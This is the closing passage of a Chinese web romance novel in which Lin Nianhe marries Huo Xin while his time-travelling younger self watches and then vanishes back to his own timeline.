霍锌当然很大方地同意让他过来,毕竟等会儿领证的人是他,他会成为林念禾的合法丈夫,而另一个只能是站在旁边偷窥他们幸福的阴暗老鼠。 林念禾揉揉眉心,“小霍,你能笑一笑吗?” 表情冷的跟外面屋顶结的冰锥似的,不知道的以为她今天来逼婚。 更遑论,两个人长得如此相似,一个满面春风,一个冷漠无情。 只在这坐了十分钟,她就感觉到附近好几个工作人员一直在打量自己。 放在狗血小说里,像哥哥挖了弟弟的墙角,残忍地逼迫弟弟观看他们领证。 小霍闻言笑了一下,很快又恢复原样。 “你真的决定好了?” 霍锌扫他一眼,气压瞬间变低,“不会说话,可以闭嘴。” “怎么,我只问了这么一句话,你就生气了。”他嗤笑一声,“情绪不稳定的人,可不适合结婚。那边离婚的,十对里面有九个都是因为情绪不稳定导致婚姻破裂。” 身后坐着的那对也准备领证的小夫妻,在听见二人对话的瞬间,停止聊天。 林念禾即使没转过身,也能脑补出俩人竖起的耳朵。 “都给我把嘴闭上,谁再说一句话,我现在就走。” 话音一落,战争氛围烟消云散。 与此同时,林念禾清楚地听见了身后那对小夫妻倒吸一口凉气。 …… 又过十分钟,轮到他们。再从民政局出来时,霍锌手上拿着两本新鲜的结婚证。 他把结婚证翻开,只给小霍看了一眼,就立马收起来。 后者匆匆一瞥,压根没看清楚任何东西。 林念禾觉得他好笑,边走边从他口袋里把结婚证拿出来,递给小霍。 “给别人看两眼又不会坏。” 红彤彤的证件,打开,映入眼帘是两个人的合照。他们像是拍过很多次合照,这一次也一如既往地露出笑容,但凡是个有眼睛的人都会夸赞一句郎才女貌。 可惜,小霍眼瞎。 看了好半天,装作无事地给出评价,也就一般。 穿越来之前,他想过很多种和林念禾的结局,每一种都会是两个人携手走进婚姻。 人算不如天算,第一天来到这个世界,他就被现实狠狠地抽了几耳光。 他们不仅没结婚,他还弄丢了自己的爱人。林念禾成为了别人的妻子,和别人过着幸福的生活。 兜兜转转,就在他快要接受未来的自己是个废物时。事情又发生了变化,以前的那个自己重新回来,挤入林念禾的生活。 他们年岁不同,经历不同,却不约而同地一点点改掉坏毛病,磨平自己的棱角,直到不会刺伤爱人。 无论结局如何,林念禾是否选择他们。不变的是,霍锌会在各个时空里深爱着她。 林念禾走在前面,听见他的评价,刚想转过头让他好好看看。 身后空无一人。 地上安静地躺着两本结婚证。 “他人呢,走错路了?” 霍锌把结婚证捡起来,拍拍灰,宝贝似地放进自己怀里,左右环顾,都没发现小霍丁点踪迹。 这是一条笔直的人行道,旁边没有街巷。 等了好半天也不见人出现。 林念禾牵着霍锌的手,“他……是不是回去了。” 回到那个属于他的时空。 “嗯。”霍锌说,“他前几天和我提过,晚上经常梦见十年前的事情。可能是工作失误的时空管理者,终于发现他这个惊天bug,于是顺手修正了。” “那这位时空管理者工作效率也太低了。”林念禾有些难过,心里空落落的,和霍锌并肩往前走。 “早就看他不顺眼了。” “人都走了,你还这么偷偷说他。” “谁让他摔我结婚证。” “小心眼……” (全文完)魔.蝎`小`说 k.m`o`x`i`e`x`s.c`o`m